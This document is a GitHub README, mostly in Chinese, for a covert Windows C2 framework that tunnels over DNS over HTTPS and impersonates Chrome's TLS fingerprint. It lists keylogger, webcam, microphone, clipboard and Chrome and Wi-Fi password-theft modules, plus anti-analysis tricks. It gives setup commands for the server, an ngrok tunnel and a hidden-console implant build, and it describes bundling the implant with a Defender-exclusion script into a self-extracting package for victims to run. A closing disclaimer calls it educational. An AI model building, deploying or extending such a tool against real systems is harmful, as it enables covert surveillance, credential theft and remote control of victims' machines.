aakriti17/DoH-C2-Tunneling
GitHub: aakriti17/DoH-C2-Tunneling
基于DNS over HTTPS的隐蔽C2框架,实现安全评估和渗透测试。
Stars: 0 | Forks: 0
\# 🔥 **DoH C2 隧道 - 高级命令与控制框架**
\[!\[Python](https://img.shields.io/badge/Python-3.13+-blue.svg)](https://www.python.org/)
\[!\[许可证](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
\[!\[平台](https://img.shields.io/badge/Platform-Windows-blue.svg)](https://www.microsoft.com/windows)
\## **📌 概述**
\*\*DoH C2 隧道\*\* 是一个隐蔽的命令与控制 (C2) 框架,利用 \*\*DNS over HTTPS (DoH)\*\* 和 \*\*Chrome 120 浏览器伪装\*\* 来规避现代防火墙、IDS/IPS 和 TLS 指纹检测系统。
与传统使用原始 DNS(端口 53)或基本 HTTPS 的 C2 工具不同,此框架:
\- 🔒 使用 \*\*端口 443\*\*(普遍允许)
\- 🎭 伪装 \*\*Chrome 120\*\* JA3 指纹
\- 🔐 \*\*AES-256 加密\*\* 所有命令和输出
\- 📦 \*\*分割大数据\*\* 为 DNS 兼容的块(63 字符限制)
\- 🛠️ 包含 \*\*15+ 漏洞利用后模块\*\*
\---
\## **✨ 功能**
\### 核心C2功能
| 功能 | 描述 |
|---------|-------------|
| \*\*DoH 通信\*\* | 端口 443 上的 DNS over HTTPS |
| \*\*浏览器伪装\*\* | Chrome 120 JA3 指纹匹配 |
| \*\*AES-256 加密\*\* | Fernet 对称加密 |
| \*\*分块机制\*\* | 25-35 字符块以符合 DNS 规范 |
| \*\*手动命令模式\*\* | 带队列的实时命令输入 |
| \*\*分块进度显示\*\* | 实时传输百分比 |
\### 漏洞利用后模块(15+)
| 类别 | 模块 |
|----------|---------|
| \*\*信息收集\*\* | 截图、键盘记录器、进程列表、剪贴板、网络信息、摄像头、麦克风、系统信息 |
| \*\*凭证收集\*\* | Wi-Fi 密码、Windows 凭证、Chrome 密码 |
| \*\*执行\*\* | 下载、执行、下载并执行、文件上传、结束进程 |
| \*\*规避\*\* | 虚拟机检测、调试器检测、自我销毁 |
\---
\## **🏗️ 架构**
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ 攻击者 │────►│ DoH │────►│ 受害者 │
│ 服务器 │◄────│ 解析器 │◄────│ 植入体 │
│ (Flask) │ │ (Cloudflare)│ │ (Python) │
└─────────────┘ └─────────────┘ └─────────────┘
\*\*三个组件:\*\*
1\. \*\*C2 服务器\*\*(攻击者机器)- 基于 Flask 的 HTTPS 服务器
2\. \*\*公共 DoH 解析器\*\*(Cloudflare/Google)- 转发 DNS 查询
3\. \*\*植入体\*\*(受害者机器)- 包含 15+ 模块的 Python 脚本/EXE
\---
\## 🛠️ 使用的技术
| 类别 | 技术 |
|----------|--------------|
| \*\*语言\*\* | Python 3.13+ |
| \*\*Web 框架\*\* | Flask |
| \*\*DNS 处理\*\* | dnspython |
| \*\*浏览器伪装\*\* | curl_cffi (Chrome 120 JA3) |
| \*\*加密\*\* | cryptography (Fernet/AES-256) |
| \*\*截图\*\* | mss, Pillow |
| \*\*键盘记录器\*\* | keyboard |
| \*\*进程管理\*\* | psutil |
| \*\*摄像头\*\* | OpenCV |
| \*\*麦克风\*\* | PyAudio |
| \*\*Chrome 密码\*\* | sqlite3, win32crypt |
| \*\*EXE 创建\*\* | PyInstaller |
| \*\*隧道\*\* | ngrok |
| \*\*SFX 包\*\* | WinRAR |
\---
\## **📊 测试结果**
| 测试用例 | 状态 | 时间 |
|-----------|--------|------|
| 服务器启动 | ✅ 通过 | <1 秒 |
| 植入体连接 | ✅ 通过 | <1 秒 |
| whoami 命令 | ✅ 通过 | <1 秒 |
| ipconfig 命令 | ✅ 通过 | 3 秒 |
| 截图命令 | ✅ 通过 | 10 秒 |
| ps 命令 | ✅ 通过 | 10 秒 |
| 键盘记录器命令 | ✅ 通过 | 5 秒 |
| 摄像头命令 | ✅ 通过 | 5 秒 |
| get_wifi 命令 | ✅ 通过 | 2 秒 |
\*\*成功率:\*\* 100% (15/15 测试用例)
\---
\## **📁 项目结构**
c2project/
├── server.py # C2 服务器(控制器)
├── implement.py # 受害者植入体(代理)
├── cert.pem # SSL 证书
├── key.pem # SSL 私钥
├── requirements.txt # Python 依赖
├── add_exception.bat # Windows Defender 排除
├── dist/
│ └── implant.exe # 受害者独立 EXE
└── output/ # 收到的文件(自动创建)
├── screenshot\_.png
├── keylog\_.txt
└── received\_\*
\---
\## **🚀 安装与设置**
\### 攻击者设置(您的电脑)
```
\# 1. Clone repository
git clone https://github.com/yourusername/DoH-C2-Tunnel.git
cd DoH-C2-Tunnel
\# 2. Install dependencies
pip install -r requirements.txt
\# 3. Generate SSL certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
\# 4. Generate encryption key
python -c "from cryptography.fernet import Fernet; print(Fernet.generate\_key().decode())"
\# 5. Update KEY in both server.py and implement.py
\# 6. Run server
python server.py
\# 7. Start ngrok (new terminal)
ngrok http 5000
\# 8. Update SERVER\_DOH\_URL in implement.py with ngrok URL
\# 9. Build implant EXE
pyinstaller --onefile --noconsole implement.py
\# 10. Create SFX package (WinRAR) with:
\# - implant.exe
\# - add\_exception.bat
\# - cert.pem
\# - key.pem
1\. Victim downloads implant\_package.exe
2\. Double-click to run
3\. Allow UAC prompt
4\. Implant runs automatically
5\. Connection established on server ✅
**📋 Available Commands**
Command Description
whoami Current username
ipconfig Network configuration
dir Directory listing
systeminfo System information
screenshot Capture screen
keylog\_start Start keylogger
keylog\_stop Stop and get keys
ps List running processes
kill Kill process
clipboard Steal clipboard
netstat Network connections
webcam Capture webcam
get\_wifi Extract Wi-Fi passwords
get\_passwords Extract Chrome passwords
self\_destruct Delete implant
**🎯 Advantages**
✅ Stealthy - Uses port 443, Chrome JA3 impersonation
✅ Encrypted - AES-256 for all commands and outputs
✅ Free \& Open Source - No licensing costs
✅ Easy to Deploy - Single EXE file for victim
✅ Comprehensive - 15+ post-exploitation modules
✅ Educational - Well-documented for learning
**⚠️ Limitations**
❌ No persistence (lost on reboot)
❌ Windows only (no Linux/macOS support)
❌ Self-signed certificate
❌ Requires ngrok for internet access
**Future Work**
Persistence mechanism (registry, scheduled tasks)
Linux/macOS support
Configurable jitter (random delays)
Multiple DoH resolvers
GUI interface
Advanced anti-virus evasion
**License**
This project is for educational purposes only. Use only on systems you own or have explicit permission to test. Unauthorized access is illegal.
MIT License - see LICENSE file for details.
**👩💻 Author**
Aakriti
**⭐ Show Your Support**
If you found this project helpful, please give it a star on GitHub!
https://img.shields.io/github/stars/aakriti17/DoH-C2-Tunnel.svg?style=social
**📧 Contact**
For questions or suggestions, feel free to reach out.
Email\_id: Aakriti.4779@gmail.com
```
标签:AES-256加密, C2框架, Chrome impersonation, DNS over HTTPS, DoH, Python开发, TLS指纹识别, Windows平台, 后渗透模块, 命令与控制, 安全学习资源, 执行代码, 漏洞挖掘, 网络安全, 逃避检测, 逆向工具, 防火墙绕过, 隐私保护